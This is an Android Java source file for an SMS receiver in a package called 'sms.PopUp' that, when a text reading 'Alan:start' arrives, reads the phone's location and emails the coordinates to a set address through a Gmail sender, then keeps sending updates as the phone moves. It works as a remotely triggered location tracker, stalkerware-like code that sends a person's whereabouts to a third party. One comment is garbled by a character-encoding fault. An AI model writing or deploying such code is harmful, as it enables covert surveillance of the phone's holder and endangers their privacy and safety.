package sms.PopUp;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Bundle;
import android.telephony.gsm.SmsMessage;
import android.widget.Toast;
public class smsreceiver extends BroadcastReceiver{
private static final String mACTION =
"android.provider.Telephony.SMS_RECEIVED";
LocationListener loclistener;
@Override
public void onReceive( final Context context, Intent intent)
{
// TODO Auto-generated method stub
// if (intent.getAction().equals(mACTION))
{
StringBuilder sb = new StringBuilder();
Bundle bundle = intent.getExtras();
if (bundle != null)
{
Object[] myOBJpdus = (Object[]) bundle.get("pdus");
SmsMessage[] messages = new SmsMessage[myOBJpdus.length];
for (int i = 0; i<myOBJpdus.length; i++)
{
messages[i] =
SmsMessage.createFromPdu((byte[]) myOBJpdus[i]);
}
for (SmsMessage currentMessage : messages)
{
sb.append(currentMessage.getDisplayMessageBody());
}
}
String sms = sb.toString();
// Toast.makeText(context, sms, Toast.LENGTH_LONG).show();
if(sms.equals("Alan:start"))
{
Toast.makeText(context, "got signal", Toast.LENGTH_LONG).show();
LocationManager lm = (LocationManager) context.getSystemService(context.LOCATION_SERVICE);
Location loc = (Location) lm.getLastKnownLocation(lm.NETWORK_PROVIDER);
GmailSender sender = new GmailSender("[email protected]", "sender_passwd");
try {
sender.sendMail("location",loc.getLongitude()+","+loc.getLatitude(),"[email protected]","[email protected]");
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
loclistener =
new LocationListener()
{
@Override
public void onLocationChanged(Location location)
{
// TODO Auto-generated method stub
/* ���ֻ��յ�λ�ø��ʱ����location����getMyLocation */
Toast.makeText(context, location.getLongitude()+","+location.getLatitude(), Toast.LENGTH_LONG).show();
GmailSender sender = new GmailSender("[email protected]", "sender_passwd");
try {
sender.sendMail("location",location.getLongitude()+","+location.getLatitude(),"[email protected]","[email protected]");
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
@Override
public void onProviderDisabled(String provider)
{
// TODO Auto-generated method stub
loclistener = null;
}
@Override
public void onProviderEnabled(String provider)
{
// TODO Auto-generated method stub
}
@Override
public void onStatusChanged(String provider,
int status, Bundle extras)
{
// TODO Auto-generated method stub
}
};
lm.requestLocationUpdates(lm.NETWORK_PROVIDER, 1000, 10, loclistener);
}
}
}
}
|